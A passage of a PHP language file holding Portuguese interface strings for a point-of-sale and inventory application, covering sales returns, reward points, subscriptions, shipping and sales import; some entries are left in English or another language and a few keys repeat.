'sell_return_details' => 'Detalhes de devolução de vendas', 'sell_details' => 'Detalhes de vendas', 'return_discount' => 'Retorno de desconto', 'total_unit_transfered' => 'Total da unidade transferida', 'total_unit_adjusted' => 'Total da unidade ajustada', 'return_exist' => 'O reembolso existe para a transação, edite o retorno', 'synced_from_woocommerce' => 'Sincronizado do Woocommerce', 'available_stock_expired' => 'Ou o estoque disponível expirou', 'sell_payments' => 'Permissão para adicionar / editar / excluir pagamentos na tela Lista de vendas / lista de PDV', 'purchase_payments' => 'Permissão para adicionar / editar / apagar pagamentos em listas de compras', 'sell.payments' => 'Adicionar / Editar / Apagar pagamentos', 'purchase.payments' => 'Adicionar / Editar / Apagar pagamentos', 'view_payment' => 'Ver pagamento', 'card_number' => 'Número do cartão', 'transaction_number' => 'Número da transação', 'card_holder_name' => 'Nome do titular do cartão', 'card_number' => 'Card number', 'card_transaction_number' => 'Transação com cartão não', 'cheque_number' => 'Número do cheque', 'commsn_percent_help' => 'Só será usado se a configuração do tipo de agente da comissão de vendas for: Usuário registrado ou Selecionar na lista de usuários', 'max_amount_to_be_paid_is' => 'Quantidade máxima é de :amount', 'adjusted_for' => 'Ajustado por', 'some_qty_returned' => 'Alguns valores são retornados desta compra', 'total_purchase_return' => 'Reembolso total da compra', 'total_purchase_return_paid' => 'Reembolso total da compra paga', 'total_purchase_return_inc_tax' => 'Total de devoluções de compras com impostos incluídos', 'purchase_sell_report_formula' => 'Total (Venda - Reembolso de Compra - Compra - Reembolso de Compra)', 'purchase_return_due' => 'Reembolso da compra devida', 'total_purchase_return_due' => 'Total de reembolsos de compra vencidos', 'receive_purchase_return_due' => 'Receber o reembolso da compra devido', 'some_qty_returned_from_sell' => 'Alguns valores são retornados desta venda', 'sell_due' => 'Vender devedor', 'sell_return_due' => 'vender retorno expirado', 'total_sell_return_due' => 'Total de vendas vencidas', 'pay_sell_return_due' => 'Retorno de devolução do pagamento devido', 'total_sell_return' => 'Total de retorno de vendas', 'total_sell_return_paid' => 'Total de retorno de vendas pago', 'total_sell_return_inc_tax' => 'Total de retorno de vendas incluindo impostos', 'tooltip_columnize_taxes_heading' => 'Digite o nome do imposto para os cabeçalhos, o cabeçalho deve estar presente em nome de imposto Por exemplo, cabeçalhos incluem :. CGST, SGST, IGST e CESS Para os nomes de CGST imposto @ 8. % ou CGST @ 10%; SGST @ 10% ou SGST @ 8% etc ', 'sales_payment_dues' => 'Pagamento de vendas devidas', 'purchase_payment_dues' => 'Pagamento da Compra Expirada', 'tooltip_sales_payment_dues' => "Pagamento vendas pendentes.<br/><small class='text-muted' > Com base no período de pagamento da fatura.<br/> Mostrar pagamentos a ser recebido em 7 dias ou menos. </small>", 'edit_product_price_from_sale_screen' => 'Edite o preço do produto na tela Venda', 'edit_product_discount_from_sale_screen' => 'Edite o desconto do produto na tela de vendas', 'autosend_email' => 'Enviar e-mail automático', 'autosend_sms' => 'Envio automático de SMS', 'enable_selected_contacts' => 'Restringir contatos selecionados', 'tooltip_enable_selected_contacts' => 'Restringir o acesso aos contatos selecionados na caixa de pesquisa vendedor / comprador / cliente / fornecedor', 'selected_contacts' => 'Selecionar contatos', 'view_role' => 'Ver papel', 'delete_role' => 'Excluir função', 'mail_driver' => 'Driver de email', 'disable_suspend_sale' => 'Desativar venda suspensa', 'suspend' => 'suspender', 'suspend_note' => 'Suspender nota', 'suspend_sale' => 'Suspender venda', 'view_suspended_sales' => 'Ver vendas suspensas', 'suspended_sales' => 'Vendas suspensas', 'tooltip_suspend' => 'Suspender vendas (pausa)', 'business_telephone' => 'Número de contato comercial', 'accept_terms_and_conditions' => 'Aceitar os Termos e Condições', 'terms_conditions' => 'Termos e condições', 'select_base_unit' => 'Select base unit', 'times_base_unit' => 'times base unit', 'multi_unit_help' => 'Define this unit as the multiple of other units <br><strong>Ex: 1 dozen = 12 pieces</strong>', 'add_as_multiple_of_base_unit' => 'Add as multiple of other unit', 'product_description' => 'Descrição do produto', 'click_here' => 'Clique aqui', 'for_more_info' => 'para mais informações', 'username_help' => 'Deixe em branco para gerar automaticamente o nome de usuário', 'status_for_user' => 'Está ativo?', 'tooltip_enable_user_active' => 'Marcar / Desmarcar para um usuário estar ativo / inativo', 'user_inactive' => 'Desculpe, a conta está inativa', 'calculator' => 'Calculadora', 'fields_for_customer_details' => 'Campos para detalhes do cliente', 'show_previous_bal_due' => 'Mostrar saldo total devido (todas as vendas)', 'previous_bal_due_help' => 'Marque este campo para mostrar a soma das taxas de saldo para todas as vendas do cliente, se existirem', 'all_sales' => 'Todas as vendas', 'current_sale' => 'Venda atual', 'view_invoice_url' => 'Visualizar o URL da fatura', 'copy' => 'Copiar', 'extra_tags' => 'Tags extras', 'date_time_format' => 'formato de data e hora', 'date_time_format_help' => "Enter date and time format in <a target='_blank' href='http://php.net/manual/en/function.date.php'>PHP datetime format</a>. If blank business date time format will be applied", 'all' => 'All', 'detailed' => 'Detalhado', 'grouped' => 'Nhóm (Theo Ngày)', 'disable_recurring_invoice' => 'Desativar fatura recorrente', 'is_recurring' => 'É recorrente', 'recurring_invoice_help' => 'Se você assinar esta lei será gerada automaticamente em intervalos regulares. Como você pode desativar esse recurso no <code> Configurações> Business> Módulos </code>', 'recurring_invoice' => 'fatura recorrente', 'years' => 'anos', 'no_of_repetitions' => 'No. de repetições', 'recur_repetition_help' => 'Se a fatura em branco será gerada infinitamente muitas vezes', 'recurring_invoice_message' => 'New factura gerada para o número de inscrição: <i>:subscription_no </i> Número da fatura: <i>:invoice_no </i>', 'notifcation_count_msg' => 'Você tem :count notificações', 'no_notifications_found' => 'Nenhuma notificação encontrada', 'edit_multi_unit_help_text' => 'Editar este valor irá alterar os estoques de compra e venda de acordo', 'sale_price_is_minimum_sale_price' => 'O preço é o preço mínimo de venda', 'minimum_sale_price_help' => 'Se ativado, a tela POS ou o preço de venda Vendas de tela será o preço mínimo padrão de venda do produto. Você não pode definir um preço inferior ao preço de venda predeterminado', 'minimum_selling_price_error_msg' => 'O preço mínimo de venda é :price', 'lot_numbers_are_used_in_sale' => 'Não é possível excluir, alguns lotes de esta compra já foram vendidos', 'created_at' => 'Criado em', 'years' => 'Years', 'download' => 'Download', 'previous_file_will_be_replaced' => 'O arquivo enviado anteriormente será substituído', 'access_accounts' => 'Acessar contas', 'payment_accounts' => 'Contas de pagamento', 'total_shipping_charges' => 'Custo total de envio', 'recurring_invoice_error_message' => 'Você pode criar a fatura para o número de inscrição: <i>:subscription_no </i> O material necessário não está disponível para o produto <i> :product_name </i>', 'load_more' => 'Carregar mais', 'cash_flow' => 'Fluxo de caixa', 'subscribe' => 'Inscrever-se', 'subscription_interval' => 'Intervalo de assinatura', 'enable_subscription' => 'Ativar assinatura', 'subscription_no' => 'Ativar assinatura', 'start_subscription' => 'Assinatura de início', 'stop_subscription' => 'Parar assinatura', 'subscriptions' => 'Assinaturas', 'generated_invoices' => 'Faturas geradas', 'last_generated' => 'Última geração', 'upcoming_invoice' => 'Próxima fatura', 'total_sales_return' => 'Total de retorno de vendas', 'subscription_invoice' => 'Fatura de assinatura', 'subscribed_invoice' => 'Fatura inscrita', 'view_document' => 'Ver documento', 'invoice_url_help' => 'Link para ver a fatura sem fazer login', 'unit_cannot_be_deleted' => 'Produtos existem com esta unidade, eles não podem ser excluídos', 'expiry_date_in_business_date_format' => 'da data de validade <b> Format Trade Data </b>', 'deactivate_selected' => 'Deactivate Selected', 'products_deactivated_success' => 'Products deactivated successfully', 'deactive_product_tooltip' => 'Deactivated products will be not available for purchase or sell', 'reactivate' => 'Reactivate', 'allow_overselling' => 'Allow Overselling', 'allow_overselling_help' => 'Check this field to allow a product to sell more than the available quantity. Oversold quantity will be adjusted automatically from future stock.', 'discounts' => 'Discounts', 'all_your_discounts' => 'All your discounts', 'priority' => 'Priority', 'add_discount' => 'Add Discount', 'starts_at' => 'Starts At', 'ends_at' => 'Ends At', 'applicable_in_cpg' => 'Apply in selling price groups', 'applicable_in_cg' => 'Apply in customer groups', 'is_active' => 'Is active', 'discount_priority_help' => 'Discount with higher priority will have higher weightage, however priority will not be considered for exact matches', 'inactive' => 'Inactive', 'applied_discount_text' => 'Discount: <i>:discount_name</i> applied (Ends at: <i>:ends_at</i>)', 'discount.access' => 'Add/Edit/Delete Discount', 'product_stock_details' => 'Product Stock Details', 'search' => 'Pesquisar', 'total_sold' => 'Total vendido', 'total_stock_available' => 'Estoque total disponível', 'total_stock_transfered_to_location' => 'Total do estoque transferido para o local', 'total_stock_transfered_from_the_location' => 'Estoque total transferido do local', 'total_stock_calculated' => 'Estoque total calculado', 'adjust_stock_mismatch' => 'Ajustar diferença de estoque', 'opening_balance_payments' => 'Pagamentos do saldo inicial', 'enable_service_staff_in_product_line' => 'Ativar pessoal de serviço na linha de produtos', 'inline_service_staff_tooltip' => 'Se habilitado, você pode designar diferentes equipes de serviço para diferentes produtos para um pedido / venda', 'line_orders' => 'Line orders', 'total_tax' => 'Total de impostos', 'total_discount' => 'Desconto total', 'net_price' => 'preço líquido', 'select_same_for_all_rows' => 'Selecione o mesmo valor para todos os produtos', 'edited' => 'Editado', 'by' => 'Por', 'upload_documents' => 'Upload de documentos', 'documents' => 'Documentos', 'click_to_print' => 'Clique para imprimir', 'deactivated_success' => 'Desativado com sucesso', 'products_could_not_be_deleted' => 'Alguns produtos não puderam ser excluídos porque têm transações relacionadas a eles', 'price' => 'Preço', 'auto_backup_instruction' => 'Para ativar o backup automático e a limpeza do backup, você deve configurar uma tarefa cron com este comando', 'gross_profit' => 'Lucro bruto', 'single' => 'Solteiro', 'variable' => 'Variável', 'total_purchase_price' => 'Preço total de compra', 'total_sell_price' => 'Preço total de venda', 'packing_slip' => 'Talão de embalagem', 'use_superadmin_email_settings' => 'Usar configurações de email do sistema', 'profit_by_products' => 'Lucro por produtos', 'profit_by_categories' => 'Lucro por categorias', 'profit_by_brands' => 'Lucro por marcas', 'profit_by_locations' => 'Lucro por localidades', 'profit_by_invoice' => 'Lucro por fatura', 'profit_by_date' => 'Lucro por data', 'uncategorized' => 'Sem categoria', 'add_purchase_return' => 'Adicionar retorno de compra', 'edit_purchase_return' => 'Editar retorno de compra', 'purchase_return_updated_success' => 'Retorno de compra atualizado com sucesso', 'profit_by_customer' => 'Lucro por cliente', 'profit_by_day' => 'Lucro por dia', 'sunday' => 'Domingo', 'monday' => 'Segunda-feira', 'tuesday' => 'Terça', 'wednesday' => 'Quarta-feira', 'thursday' => 'Quinta-feira', 'friday' => 'Sexta-feira', 'saturday' => 'Sábado', 'show_product_image' => 'Mostrar imagem do produto', 'view_user' => 'Visualizar usuário', 'allow_selected_contacts' => 'Permitir contatos selecionados', 'allow_selected_contacts_tooltip' => 'Permitir apenas o acesso a contatos selecionados na caixa de pesquisa vender / comprar cliente / fornecedor', 'allowed_contacts' => 'Contatos permitidos', 'view_purchase_price' => 'Visualizar preço de compra', 'view_purchase_price_tooltip' => 'Permissão para visualizar o preço de compra nos detalhes do produto, transferência de estoque e ajuste de estoque', 'created' => 'Criado', 'updated' => 'Atualizada', 'deleted' => 'Excluído', 'day' => 'Dia', 'is_service_staff_required' => 'A equipe de serviço é necessária', 'items_report' => 'Relatório de Itens', 'purchase_price' => 'Preço de compra', 'sell_date' => 'Data de venda', 'returned' => 'retornou', 'dob' => 'Data de nascimento', 'married' => 'Casado', 'unmarried' => 'Solteira', 'marital_status' => 'Estado civil', 'blood_group' => 'Grupo sanguíneo', 'divorced' => 'Divorciado', 'contact_no' => 'Número de contato', 'fb_link' => 'Facebook Link', 'twitter_link' => 'Twitter Link', 'social_media' => 'Social Media :number', 'permanent_address' => 'Endereço Permanente', 'current_address' => 'Morada atual', 'guardian_name' => 'Nome do guardião', 'custom_field' => 'Campo personalizado :number', 'bank_details' => 'Detalhes bancários', 'account_holder_name' => 'Nome do titular da conta', 'account_number' => 'Número da conta', 'bank_name' => 'Nome do banco', 'bank_code' => 'Código de identificação bancária', 'bank_code_help' => 'Um código único para identificar o banco em seu país, por exemplo: código IFSC', 'branch' => 'Ramo', 'tax_payer_id' => 'ID do contribuinte', 'tax_payer_id_help' => 'Número de identificação fiscal do funcionário, por exemplo, cartão PAN na Índia', 'more_info' => 'Mais informações', 'id_proof_name' => 'ID proof name', 'id_proof_number' => 'Número de prova de identificação', 'view_own_sell_only' => 'Ver apenas vender apenas', 'reward_point_settings' => 'Configurações do ponto de recompensa', 'enable_rp' => 'Ativar ponto de recompensa', 'rp_name' => 'Nome de Exibição do Ponto de Recompensa', 'amount_for_unit_rp' => 'Valor gasto por unidade de ponto', 'min_order_total_for_rp' => 'Total mínimo de pedidos para ganhar recompensa', 'max_rp_per_order' => 'Máximo de pontos por pedido', 'earning_points_setting' => 'Ganhando pontos configurações', 'redeem_points_setting' => 'Resgatar configurações de pontos', 'redeem_amount_per_unit_rp' => 'Resgatar valor por unidade de ponto', 'min_order_total_for_redeem' => 'Total mínimo de pedidos para resgatar pontos', 'min_redeem_point' => 'Ponto de resgate mínimo', 'max_redeem_point' => 'Ponto máximo de resgate por pedido', 'rp_expiry_period' => 'Período de expiração do ponto de recompensa', 'redeemed_amount' => 'Valor Resgatado', 'max_points_used' => 'Máximo :points podem ser usados', 'reward_points' => 'Pontos de recompensa', 'max_reward_point_available' => 'Máximo :name disponível', 'min_reward_points_used' => 'Mínimo :name pode ser usado', 'redeemed' => 'Redeemed', 'available' => 'Acessível', 'earned' => 'Ganhou', 'total_reward_amount' => 'Recompensa total do cliente', 'ledger' => 'Ledger', 'type' => 'Tipo', 'show_payments' => 'Mostrar pagamentos', 'variation_images' => 'Imagens de variação', 'file_deleted_successfully' => 'Arquivo excluído com sucesso', 'combo' => 'Combo', 'not_for_selling' => 'Não para vender', 'tooltip_not_for_selling' => 'Se marcado, o produto não será exibido na tela de vendas para fins de venda.', 'show_reward_point' => 'Mostrar ponto de recompensa', 'enable_booking' => 'Ativar reservas', 'bulk_edit' => 'Edição em massa', 'bulk_edit_products' => 'Bulk Edit Products', 'search_product_to_edit' => 'Pesquisar produto para editar', 'related_sub_units' => 'Subunidades Relacionadas', 'sub_units_tooltip' => 'Com base na Unidade selecionada, ela mostrará subunidades para ela. Selecione a sub-unidade aplicável. Deixe em branco se todas as subunidades são aplicáveis ao produto.', 'enable_sub_units' => 'Ativar subunidades', 'added_on' => 'Adicionado', 'quantity_mismatch_exception' => 'ERRO: NÃO PERMITIDO: incompatibilidade entre a quantidade vendida e a disponível. Produto: :product', 'roles_and_permissions' => 'Funções e permissões', 'admin_role_location_permission_help' => 'Admin pode acessar todos os locais', 'edit_product_price_from_pos_screen' => 'Editar preço do produto na tela do POS', 'edit_product_discount_from_pos_screen' => 'Editar desconto do produto na tela do PDV', 'download_template_file' => 'Baixar arquivo de modelo', 'types_of_service' => 'Tipos de serviço', 'add_type_of_service' => 'Adicionar tipo de serviço', 'packing_charge_type' => 'Tipo de cobrança de embalagem', 'packing_charge' => 'Taxa de embalagem', 'enable_custom_fields' => 'Habilitar campos personalizados', 'edit_type_of_service' => 'Editar tipo de serviço', 'types_of_service_help' => 'Tipo de serviço significa serviços como jantar, encomendas, entrega em domicílio, entrega de terceiros etc.', 'select_types_of_service' => 'Selecione os tipos de serviço', 'service_custom_field_1' => 'Campo personalizado 1', 'service_custom_field_2' => 'Campo personalizado 2', 'service_custom_field_3' => 'Campo personalizado 3', 'service_custom_field_4' => 'Campo Personalizado 4', 'default_selling_price_group' => 'Grupo de preço de venda padrão', 'location_price_group_help' => 'Este grupo de preços será usado como o grupo de preços padrão neste local.', 'default_accounts' => 'Conta padrão', 'product_location_help' => 'Locais onde o produto estará disponível.', 'available_in_locations' => 'Disponível nas localizações', 'enable' => 'Habilitar', 'payment_options' => 'Opções de pagamento', 'pay_reference_no' => 'Número de referência de pagamento', 'search_settings' => 'Configurações de pesquisa', 'custom_labels' => 'Etiquetas personalizadas', 'labels_for_custom_payments' => 'Etiquetas para pagamentos personalizados', 'packed' => 'Embalado', 'shipped' => 'Enviado', 'delivered' => 'Entregue', 'shipping_address' => 'Endereço de entrega', 'shipping_status' => 'Status da remessa', 'delivered_to' => 'Entregue a', 'edit_shipping' => 'Editar remessa', 'shipments' => 'Remessas', 'access_shipping' => 'Acessar Remessa', 'uploaded_by' => 'Enviado por', 'account_types' => 'Tipos de conta', 'add_account_type' => 'Adicionar tipo de conta', 'parent_account_type' => 'Tipo de conta principal', 'edit_account_type' => 'Editar tipo de conta', 'account_type' => 'Tipo de conta', 'account_sub_type' => 'Subtipo de conta', 'enable_updating_product_price_tooltip' => 'Se o preço de compra do produto ativado e o preço de venda forem atualizados após a adição ou atualização de uma compra', 'default_datatable_page_entries' => 'Entradas de página de dados padrão', 'product_not_found_exception' => 'Produto com SKU :sku não encontrado na linha :row', 'price_group_not_found_exception' => 'Grupo de preços com nome :pg não encontrado na linha :row', 'price_group_non_numeric_exception' => 'Preço não numérico encontrado na linha :row', 'total_stock_price' => 'Valor atual das ações', 'test_email_configuration' => 'Enviar e-mail de teste', 'email_tested_successfully' => 'Configurações de email verificadas com sucesso', 'test_number' => 'Número do teste', 'test_sms_configuration' => 'Enviar SMS de teste', 'test_number_is_required' => 'O número do teste é obrigatório', 'import_contact_type_ins' => 'Opções disponíveis: <strong> <br> 1 = Cliente, <br> 2 = Fornecedor <br> 3 = Ambos </strong>', 'enable_pos_transaction_date' => 'Ativar data da transação na tela do POS', 'amount_for_unit_rp_tooltip' => '<strong> Significa quanto o cliente gastou para obter um ponto de recompensa. </strong> <br> <br> <strong> Exemplo: </strong> Se você definir como 10, então, para cada US $ 10 gastos pelo cliente, receberá um ponto de recompensa. Se o cliente comprar por US $ 1000, receberá 100 pontos de recompensa. ', 'max_rp_per_order_tooltip' => 'O número máximo de pontos de recompensa que os clientes podem ganhar em uma fatura. Deixe em branco se não quiser essas restrições.', 'min_order_total_for_rp_tooltip' => '<strong> O valor mínimo que o cliente deve gastar para obter pontos de recompensa. </strong> <br> <br> <strong> Exemplo: </strong> Se você definir como 100, o cliente receberá pontos de recompensa apenas se houver o total da fatura é maior ou igual a 100. Se o total da fatura for 99, eles não receberão pontos de recompensa. <br> <br> Você pode defini-la como o mínimo 1. ', 'redeem_amount_per_unit_rp_tooltip' => '<strong> Indica o valor de resgate por ponto. </strong> <br> <br> <strong> Por exemplo: </strong> Se 1 ponto for $ 1, digite o valor como 1. Se 2 pontos for $ 1, insira o valor como 0,50 ', 'min_order_total_for_redeem_tooltip' => 'Total mínimo de pedidos para os quais os clientes podem resgatar pontos. Deixe em branco se você não precisar dessa restrição ou precisar fornecer algo de graça.', 'min_redeem_point_tooltip' => 'Pontos mínimos de resgate que podem ser usados por fatura. Deixe em branco se não precisar dessa restrição.', 'max_redeem_point_tooltip' => 'Máximo de pontos que podem ser usados em um pedido. Deixe em branco se não precisar dessa restrição.', 'rp_expiry_period_tooltip' => '<strong> Período de validade dos pontos ganhos pelo cliente. </strong> <br> <br> Você pode defini-lo em meses ou ano. Os pontos expirados serão deduzidos da conta do cliente automaticamente após esse período.', 'configure_product_search' => 'Configurar pesquisa de produtos', 'search_products_by' => 'Pesquisar produtos por', 'credit_sales' => 'Vendas a crédito', 'total_payment' => 'Pagamento total', 'deactivate_location' => 'Desativar local', 'activate_location' => 'Ativar localização', 'business_location_activated_successfully' => 'Local da empresa ativado com sucesso', 'business_location_deactivated_successfully' => 'Localização da empresa desativada com sucesso', 'show_credit_sale_button' => 'Mostrar botão de venda de crédito', 'show_credit_sale_btn_help' => 'Se o botão de venda a crédito ativado for exibido no lugar do botão Cartão na tela do POS', 'credit_sale' => 'Venda de crédito', 'tooltip_credit_sale' => 'Checkout como venda a crédito', 'add_as_sub_txonomy' => 'Adicionar como sub taxonomia', 'select_parent_taxonomy' => 'Selecione a taxonomia pai', 'warranty' => 'Garantia', 'warranties' => 'Garantias', 'all_warranties' => 'Todas as garantias', 'add_warranty' => 'Adicionar garantia', 'duration' => 'Duração', 'edit_warranty' => 'Editar garantia', 'enable_product_warranty' => 'Ativar garantia', 'warranty_ends_on' => 'A garantia termina em', 'restaurant_module_settings' => 'Configurações do módulo de restaurante', 'warranty_module_settings' => 'Configurações do módulo de garantia', 'show_warranty_name' => 'Mostrar nome da garantia', 'show_warranty_exp_date' => 'Mostrar data de validade da garantia', 'show_warranty_description' => 'Mostrar descrição da garantia', 'gender' => 'Gênero', 'male' => 'Macho', 'female' => 'Fêmea', 'others' => 'Outras', 'recent_transactions' => 'Transações recentes', 'add_row' => 'Adicionar linha', 'add_widget_here' => 'Adicione um widget aqui', 'move_row' => 'Mova a linha', 'configure_dashboard' => 'Configurar painel :name', 'change_return_label' => 'Alterar etiqueta de devolução', 'change_return_help' => 'Retorno de alteração é o valor a ser devolvido ao cliente se o pagamento em excesso for feito.', 'profile_photo' => 'Foto de perfil', 'upload_image' => 'Enviar Imagem', 'expense_tax' => 'Imposto de despesa', 'expense_tax_tooltip' => 'Imposto total pago para despesas comerciais no período selecionado', 'tax_overall' => 'Geral (entrada - saída - despesa)', 'overdue' => 'Vencido', 'partial-overdue' => 'Parcial vencido', 'due_date_label' => 'Rótulo da data de vencimento', 'show_due_date' => 'Mostrar data de vencimento', 'contact_custom_field1' => 'Campo personalizado 1', 'contact_custom_field2' => 'Campo personalizado 2', 'contact_custom_field3' => 'Campo personalizado 3', 'contact_custom_field4' => 'Campo personalizado 4', 'added_by' => 'Adicionado por', 'authorized_signatory' => 'Signatário autorizado', 'no_location_access_found' => 'Nenhum acesso ao local encontrado', 'location_custom_field1' => 'Campo personalizado 1', 'location_custom_field2' => 'Campo personalizado 2', 'location_custom_field3' => 'Campo personalizado 3', 'location_custom_field4' => 'Campo personalizado 4', 'user_custom_field1' => 'Campo personalizado 1', 'user_custom_field2' => 'Campo personalizado 2', 'user_custom_field3' => 'Campo personalizado 3', 'user_custom_field4' => 'Campo personalizado 4', 'logo_not_work_in_sms' => 'O logotipo da empresa não funcionará no SMS', 'notification_email_tooltip' => 'Sequência separada por vírgula de emails de destinatário', 'heading' => 'Título', 'updated_at' => 'Atualizado às', 'documents_and_notes' => 'Documents & Note', 'add_note' => 'Adicionar nota', 'edit_note' => 'Editar nota', 'is_private' => 'É privado?', 'private' => 'Privado', 'documents' => 'Documentos', 'note_will_be_visible_to_u_only' => 'Nota e documento estarão visíveis apenas para você', 'activities' => 'Atividades', 'no_limit' => 'No Limit', 'contains_media' => 'Esta nota contém mídia', 'private_note' => 'Esta é uma nota particular', 'amount_rounding_method' => 'Método de arredondamento da quantidade', 'round_to_nearest_whole_number' => 'Arredonde para o número inteiro mais próximo', 'round_to_nearest_decimal' => 'Arredonde para o decimal mais próximo (múltiplo de :multiple)', 'amount_rounding_method_help' => 'Exemplo: <br> <b> Arredonde para o número inteiro mais próximo: </b> 2,23 => 2, 2,50 => 3, 2,73 => 3 <br> <b> Arredonde para o decimal mais próximo (múltiplo de 0,05): </b> 2,11 => 2,10, 2,12 => 2,10, 2,13 => 2,15 ', 'round_off' => 'Arredondar', 'round_off_label' => 'Arredondar etiqueta', 'total_sell_round_off' => 'Total de vendas arredondadas', 'user_info' => 'Informação do usuário', 'enable_weighing_scale' => 'Ativar balança', 'weighing_scale_setting' => 'Configuração do código de barras da balança', 'weighing_scale_setting_help' => 'Configure o código de barras de acordo com a sua balança.', 'weighing_barcode_prefix' => 'Prefixo', 'weighing_product_sku_length' => 'Comprimento do sku do produto', 'weighing_qty_integer_part_length' => 'Quantidade inteira da peça', 'weighing_qty_fractional_part_length' => 'Comprimento fracionado da peça em quantidade', 'weighing_scale' => 'Balança', 'weighing_scale_barcode' => 'Código de barras da balança', 'weighing_scale_barcode_help' => 'Digitalize o código de barras da venda de pesagem e envie', 'prefix_did_not_match' => 'Prefixo não corresponde', 'sku_not_match' => 'Nenhum produto encontrado com sku :sku', 'total_quantity_label' => 'Rótulo da quantidade total', 'account_summary' => 'Resumo da conta', 'ledger_table_heading' => 'Mostrando todas as faturas e pagamentos entre :start_date e :end_date', 'beginning_balance' => 'Balanço inicial', 'total_invoice' => 'Fatura total', 'balance_due' => 'Saldo devedor', 'send_ledger' => 'Enviar razão', 'notifications' => 'Notificações', 'ledger_attacment_help' => 'O razão será anexado em formato PDF com este e-mail', 'upload_module' => 'Upload Module', 'upload' => 'Envio', 'pls_upload_valid_zip_file' => 'Faça o upload de um arquivo zip válido.', 'import_sales' => 'Importação de vendas', 'preview_imported_sales' => 'Visualizar vendas importadas', 'customer_phone_number' => 'Número de telefone do cliente', 'customer_email' => 'Email do cliente', 'item_tax' => 'Imposto sobre itens', 'item_discount' => 'Desconto de itens', 'item_description' => 'Descrição do item', 'order_total' => 'Total de pedidos', 'upload_and_review' => 'Upload e revisão', 'group_sale_line_by' => 'Agrupar linha de venda por', 'import_sale_product_not_found' => 'Produto com nome :product_name ou sku :sku não encontrado na linha :row', 'import_sale_tax_not_found' => 'Imposto com nome :tax_name não encontrado na linha :row', 'email_or_phone_required' => 'É necessário telefone ou email do cliente', 'product_name_or_sku_is_required' => 'Nome do produto ou SKU é obrigatório', 'quantity_is_required' => 'Quantidade necessária', 'unit_price_is_required' => 'O preço unitário é obrigatório', 'sales_imported_successfully' => 'Vendas importadas com sucesso', 'upload_data_in_excel_format' => 'Carregar dados de vendas no formato excel', 'map_columns_with_respective_sales_fields' => 'Escolha os respectivos campos de vendas para cada coluna', 'choose_location_and_group_by' => 'Escolha o local da empresa e a coluna pela qual as linhas de venda serão agrupadas', 'date_format_instruction' => "O formato da data e hora da venda deve ser 'Y-m-d H:i:s' (2020-07-15 17:45:32)", 'product_name_single_only' => 'Nome do produto (somente produtos únicos ou combinados)', 'product_sku' => 'SKU do produto', 'product_unit' => 'Unidade de produto', 'import_sale_unit_not_found' => 'Unidade com nome :unit_name não encontrado na linha :row', 'types_of_servicet_not_found' => 'Tipos de serviço com o nome :types_of_service_name não encontrado na linha :row', 'email_or_phone_cannot_be_empty_in_row' => 'O telefone ou o email do cliente é necessário na linha :row', 'product_cannot_be_empty_in_row' => 'O nome do produto ou o SKU do produto são necessários na linha :row', 'quantity_cannot_be_empty_in_row' => 'A quantidade do produto é necessária na linha :row', 'unit_price_cannot_be_empty_in_row' => 'O preço unitário é necessário na linha :row', 'imports' => 'Importações', 'invoices' => 'Faturas', 'import_batch' => 'Importar lote', 'import_time' => 'Hora da importação', 'cannot_select_a_field_twice' => 'Você não pode selecionar um campo duas vezes', 'revert_import' => 'Reverter importação', 'import_reverted_successfully' => 'Importação revertida com sucesso', 'importable_fields' => 'Campos importáveis', 'sort_order' => 'Ordem de classificação', 'total_returned' => 'Total retornado', 'skip' => 'PULAR', 'group_by_tooltip' => 'Coluna para agrupar linhas de venda na mesma fatura', 'allowed_file' => 'Arquivo permitido', 'detailed_with_purchase' => 'Detalhado (com compra)', 'supplier_name' => 'Nome do Fornecedor', 'purchase_ref_no' => 'Nº de ref. Da compra', 'save_and_print' => 'Salvar e imprimir', 'update_and_print' => 'Atualizar e imprimir', 'all_your_discounts' => 'Todos os seus descontos', 'priority' => 'Prioridade', 'starts_at' => 'Começa em', 'ends_at' => 'Termina em', 'used_for_browser_based_printing' => 'Usado para impressão baseada em navegador', 'hsn_or_category_code' => 'HSN ou código de categoria', 'discounts' => 'Descontos', 'allow_overselling' => 'Permitir sobrevenda', 'view_own_purchase' => 'Ver apenas compra própria', 'view_own_expense' => 'Ver apenas despesa própria', 'allow_login' => 'Permitir o login', 'login_not_allowed' => 'Login não permitido', 'labels_for_contact_custom_fields' => 'Etiquetas para campos personalizados de contato', 'labels_for_product_custom_fields' => 'Etiquetas para campos personalizados do produto', 'labels_for_purchase_custom_fields' => 'Etiqueta para campos de custódia de compra', 'labels_for_sell_custom_fields' => 'Etiquetas para vender campos personalizados', 'labels_for_location_custom_fields' => 'Etiquetas para campos personalizados de localização', 'labels_for_types_of_service_custom_fields' => 'Etiquetas para tipos de campos personalizados de serviço', 'labels_for_user_custom_fields' => 'Etiquetas para campos personalizados do usuário', 'total_transfer_shipping_charge' => 'Taxa total de envio por transferência', 'total_purchase_shipping_charge' => 'Custo total de envio da compra', 'total_sell_shipping_charge' => 'Custo total de envio de venda', 'opening_stock_location' => 'Abertura do estoque', 'product_locations_ins' => 'Sequência separada por vírgula de nomes de locais de negócios em que o produto estará disponível', 'product_locations' => 'Localizações do produto', 'view_products' => 'Ver produtos', 'pos_screen_featured_products' => 'Produtos em destaque na tela do PDV', 'featured_products_help' => 'Os produtos selecionados serão exibidos na parte superior da sugestão de produto da tela de posição para acesso rápido', 'purchase_report' => 'Relatório de compra', 'sale_report' => 'Relatório de venda', 'payment_date' => 'Data de pagamento', 'year_month' => 'Ano mês', 'lead' => 'Conduzir', 'featured_products' => 'Produtos em destaque', 'repeat_on' => 'Repita em', 'access_tables' => 'Tabelas de acesso', 'access_printers' => 'Acessar impressoras', 'access_types_of_service' => 'Acessar tipos de serviço', 'search_address' => 'Endereço de pesquisa', 'contact_locations' => 'Locais de contato', 'map' => 'Mapa', 'both_customer_and_supplier' => 'Cliente e fornecedor', 'service' => 'Serviço', 'either_cust_email_or_phone_required' => 'É necessário o ID de e-mail do cliente ou o número de telefone', 'either_product_name_or_sku_required' => 'Nome do produto (somente para combinação única e combinação) ou sku do produto necessário', 'show_invoice_scheme' => 'Mostrar esquema de fatura', 'select_invoice_scheme' => 'Selecionar esquema de fatura', 'recurring_expense_help' => 'Se marcada, esta despesa será gerada automaticamente em intervalos regulares.', 'recur_interval' => 'Intervalo recorrente', 'recur_expense_repetition_help' => 'Se a despesa em branco será gerada infinitas vezes', 'recurring_expense_message' => 'Nova despesa recorrente gerada. Ref no .: <i>:ref_no </i>', 'recurring_expense' => 'Despesa recorrente', 'generated_recurring_expense' => 'Despesa recorrente gerada', 'select_contacts' => 'Selecionar contatos', 'middle_name' => 